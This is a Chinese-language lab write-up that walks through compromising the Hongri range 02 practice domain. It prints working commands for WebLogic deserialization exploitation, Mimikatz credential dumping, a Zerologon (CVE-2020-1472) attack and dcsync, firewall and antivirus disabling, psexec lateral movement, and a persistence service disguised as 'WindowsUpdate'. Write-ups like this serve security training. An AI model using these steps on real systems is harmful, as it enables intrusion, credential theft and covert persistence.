红日靶场02
红日靶场02
探索发现阶段(信息搜集)
已知外网IP:192.168.111.80,对其进行Nmap扫描
nmap -T4 -A -v 192.168.111.80
#使用-T4选项设置扫描速度为快速,-A选项启用操作系统检测、版本检测和脚本扫描,-v选项启用详细输出
结果如下:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Site doesn't have a title.
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-info:
| 192.168.111.80:1433:
| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| number: 10.50.4000.00
| Product: Microsoft SQL Server 2008 R2
| Service pack level: SP2
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 192.168.111.80:1433:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-04-29T11:29:28
| Not valid after: 2054-04-29T11:29:28
| MD5: 0922:47cc:d252:0c16:f6c2:b016:a65c:5bba
|_SHA-1: a463:9836:8e4c:a84c:575d:f8a9:7dc8:4f66:4299:5f2a
|_ssl-date: 2024-04-29T12:41:08+00:00; 0s from scanner time.
3389/tcp open tcpwrapped
| rdp-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
| Product_Version: 6.1.7601
|_ System_Time: 2024-04-29T12:40:29+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-04-28T11:30:12
| Not valid after: 2024-10-28T11:30:12
| MD5: 95dd:c1e4:588c:7e02:f29a:c6c5:a523:dfa6
|_SHA-1: 4404:e395:da84:2b4c:8506:06af:c749:d40a:cff7:9bc6
|_ssl-date: 2024-04-29T12:41:08+00:00; 0s from scanner time.
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:65:23:E2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|specialized|general purpose
Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (94%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (94%), Microsoft Windows Embedded Standard 7 (93%), Microsoft Windows 8.1 R1 (92%), Microsoft Windows 7 (91%), Microsoft Windows Server 2008 or 2008 Beta 3 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows Server 2008 SP1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.050 days (since Mon Apr 29 07:28:28 2024)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-04-29T12:40:31
|_ start_date: 2024-04-29T11:29:55
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
TRACEROUTE
HOP RTT ADDRESS
1 0.81 ms 192.168.111.80
NSE: Script Post-scanning.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.02 seconds
Raw packets sent: 2155 (99.940KB) | Rcvd: 31 (1.544KB)
根据结果可知服务器操作系统为Windows Server 2008 R2 - 2012,且开启了80、135、139、445、1433、3389、7001、49152、49153、49154端口
另外,有四个对外开放端口:
- 3389:windows RDP服务
- 1433:mssql服务(SQL server)
- 80:默认端口
- 7001:weblogic服务,版本为10.3.6
我们可以据此进行推测:
445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞
开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞
放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令
开放7001端口可能存在Weblogic反序列化漏洞
入侵和感染阶段(漏洞扫描与利用)
针对weblogic漏洞扫描
可以使用weblogicScanner对weblogic进行漏洞扫描:
python ws.py -t 192.168.111.80:7001
结果如下:

由扫描结果可以得出,该服务器7001端口存在多个反序列化RCE漏洞,因此可以从这些漏洞入手进行相应渗透操作
反序列化漏洞攻击weblogic
这里尝试使用CVE-2019-2725进行漏洞利用
一开始尝试利用MSF上的payload,但反向连接一直失败
再尝试github上一个经过免杀处理的利用脚本:GitHub - black-mirror/Weblogic: Weblogic CVE-2019-2725 CVE-2019-2729 Getshell 命令执行
执行命令:
python weblogic_get_webshell.py http://192.168.111.80:7001
一把梭了:

脚本自动生成了一个webshell,由此可以实现任意命令执行,且当前权限为de1ay\administrator
尝试查看ip信息:
ipconfig/all
回显如下:
Windows IP 配置
主机名 . . . . . . . . . . . . . : WEB
主 DNS 后缀 . . . . . . . . . . . : de1ay.com
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : de1ay.com
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
物理地址. . . . . . . . . . . . . : 00-0C-29-65-23-EC
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::d193:8f36:bb49:8d84%13(首选)
IPv4 地址 . . . . . . . . . . . . : 10.10.10.80(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.10.10.1
DHCPv6 IAID . . . . . . . . . . . : 301993001
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
DNS 服务器 . . . . . . . . . . . : 10.10.10.10
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址. . . . . . . . . . . . . : 00-0C-29-65-23-E2
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::4d1:cc13:79f2:4cb1%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.111.80(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.111.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
DNS 服务器 . . . . . . . . . . . : 10.10.10.10
TCPIP 上的 NetBIOS . . . . . . . : 已启用
隧道适配器 isatap.{AD80CD23-D97F-4814-A715-9248D845EA0F}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
隧道适配器 isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
由结果可知该web服务器存在双网卡:
- 10.10.10.80
- 192.168.111.80
并且存在域de1ay.com
执行systeminfo也可以发现存在域de1ay.com:

尝试用ping来查看域控的IP:
?cmd=ping+de1ay.com
查看回显确认了DC的IP为10.10.10.10
查看一下后台:
?cmd=tasklist
发现后台存在360杀软
反弹连接上线CS
老规矩,使用CS生成一个反向连接的cmd的payload,传给我们的webshell,即可成功上线CS

看见有些文章在这一步要进行免杀,但我可以直接反连,可能是因为webshell已经免杀处理过(留个疑问)
权限提升
虽然已经是admin权限,但尝试直接getsystem会寄掉,可能是360的原因
因为我的CS装了梼杌,使用ms014-058进行提权成功,获取到了system权限

接下来将杀软和防火墙都关闭:
netsh advfirewall set allprofiles state off #关闭防火墙(梼杌插件也有该功能)
run killav #关闭杀软,失败了
尝试直接kill掉360也失败了:
taskkill /PID 3604 /F

抓取操作系统凭证
使用CS上的Mimikatz套件读取本地密码和哈希
抓取到本机de1ay用户的明文密码:

还抓取到了域用户mssql的明文密码:

3389端口RDP登录weblogic服务器
在nmap扫描时,该主机的3389端口为开启状态,而我们已经获取了用户密码,可以直接进行远程登陆
探索感知阶段(内网信息搜集)
使用CS自带工具进行扫描

可以发现域内存在3台主机:
- 10.10.10.10(域控)
- 10.10.10.80(外网主机)
- 10.10.10.201( 域用户主机)
传播阶段(横向移动)
尝试使用域用户mssql身份进行psexec横向移动失败了,这里尝试使用zerologon漏洞来打DC
利用zerologon漏洞(CVE-2020-1472)攻击DC
netlogon是windows上的一个重要的功能组件,用于在域内网络上认证用户和机器,复制数据库进行域控备份,维护域成员与域、域与域控、域DC与跨域DC之间的关系
而Zerologon漏洞(CVE-2020-1472)指在NTLM认证过程中,使用netlogon安全通道与DC连接时,由于认证协议加密部分存在缺陷,攻击者可以将DC管理员用户密码设置为空,进一步实现密码哈希获取并最终获取管理员权限;成功利用该漏洞可以实现以管理员权限登陆域控设备,并进一步控制整个域
(漏洞详情见我博客另一篇文章,暂未发布)
首先需要将Mimikatz通过远程桌面上传到外网主机上,并运行Mimikatz检测是否存在Zerologon漏洞,在Mimikatz运行后使用命令:
lsadump::zerologon /target:DC.de1ay.com /account:DC$

结果如图,漏洞存在
接下来直接利用:
lsadump::zerologon /target:DC.de1ay.com /account:DC$ /exploit

结果如图,利用成功
接下来获取DC服务器的登录凭证:
lsadump::dcsync /domain:de1ay.com /dc:DC.de1ay.com /user:administrator /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm

如图,我们获取到了域控服务器中Administrator用户的密码哈希:
e25bbe456dd96a635f4434511788e502
接下来即可通过MD5在线解密网站或hashcat对密码哈希进行解密,获得密码的明文:
hongrisec@2024
最后执行如下命令来恢复域控服务器的密码,防止域控服务器脱域:
lsadump::postzerologon /target:de1ay.com /account:DC$
使用PsExec将DC上线到CS
我们已经获取到了DC上Administrator用户的明文密码,我们可以尝试复用该口令进行横向移动
可以在CS中利用psexec连接DC:
首先将获取到的DC的登录凭据添加到CS的凭据管理器中(view–credentials):

接下来在外网主机的shell上创建跳板(pivoting–listener):

使用psexec横向移动,使用我们创建的凭据:

成功获取DC的shell且权限为system:

上线域用户主机
同理,我们可以通过psexec继续尝试横向移动:

成功
至此我们成功拿下了内网所有主机
持久化(权限维持)与恢复(痕迹清除)
通过CS持久化控制服务器
对服务器getshell后,为了防止掉线,以及防止目标服务器重启后权限丢失,需要进行权限维持,这里可以选择使用创建service进行权限维持:
首先生成一个artifact.exe用于上线服务器:

将该exe通过CS文件管理功能上传至目标服务器的一个目录中
执行命令开启一个名为WindowsUpdate的服务,该服务运行时便会执行artifact.exe连接CS
sc create "WindowsUpdate" binpath= "cmd /c start "C:\文件路径\artifact.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
至此,我们完成了权限维持的操作,即使服务器重启,会话依然能够存在
恢复阶段
主要涉及对webshell、其他上传的文件的删除,以及清除系统日志等,达到清理渗透操作痕迹的目的
总结
在本次渗透过程中,涉及了如下知识点与操作:
- weblogic反序列化漏洞的利用
- 360安全卫士的绕过(感觉这个360十分鸡肋,没有对过程产生阻碍)
- CS的各项功能
- Zerologon(CVE-2020-1472)漏洞的利用